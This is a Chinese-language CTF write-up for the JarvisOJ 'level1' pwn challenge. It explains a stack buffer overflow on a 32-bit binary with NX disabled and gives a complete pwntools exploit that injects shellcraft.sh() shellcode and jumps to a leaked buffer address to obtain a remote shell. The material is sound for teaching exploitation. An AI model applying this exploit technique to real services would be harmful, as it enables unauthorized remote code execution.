题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
nc pwn2.jarvisoj.com 9877
0x01Linux中分析题目
首先使用file命令,文件为32位
再运行一下文件,提示输入,然后输出hello world
若出现权限不够则使用 chmod 777 文件名 ,打开文件所有权限
使用gdb工具,终端输入gdb,再输入:checksec 文件名,检查保护措施
0x02IDA反汇编
代码与level0类似,但发现题目里面并没有给出system(/bin/sh),这就需要我们自己写shellcode(shellcode就是一段代码,用于用户攻击远程服务器,可以获取权限拿到/bin/sh)
pwntools提供了获取/bin/sh 的 shellcode,可以用shellcraft.sh(),但获得的shellcode还是汇编代码,不是能用的机器码(16进制),所以还需要进行一次编译,用asm(shellcraft.sh()) 即可得到获取/bin/sh的shellcode。
可以看到在vulnerable_function中泄漏了buf的内存,之前用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的起始地址,实现栈溢出攻击。
0X03编写EXP
from pwn import *
r=remote('pwn2.jarvisoj.com',9877)
context(arch='i386',os='linux',log_level='debug')
shellcode=asm(shellcraft.sh())
text=r.recvline()[14:-2]
addr_buf=int(text,16)
payload=shellcode+'A'*(0x88+0x4-len(shellcode))+p32(addr_buf)
r.send(payload)
r.interactive()
编写shellcode
1)先设置目标机的参数
context(os=’linux’,arch=’amd64’,log_level=’debug’)
os:设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
arch:设置架构,64位的模式为amd64,对应的32位模式是’i386’,根据刚才终端命令可以得知为32位
log_level:设置日志输出的等级为debug,这句话在调试的时候一般会设置,所以有时候可以不输入。
2)获取shellcode
获得执行system(“/bin/sh”)汇编代码所对应的机器码
通过pwntool的 asm(shellcraft.sh())
最后利用exp,获得flag
引用文章链接
https://blog.csdn.net/qq_44832048/article/details/97104411
https://blog.csdn.net/sltrainy/article/details/80139146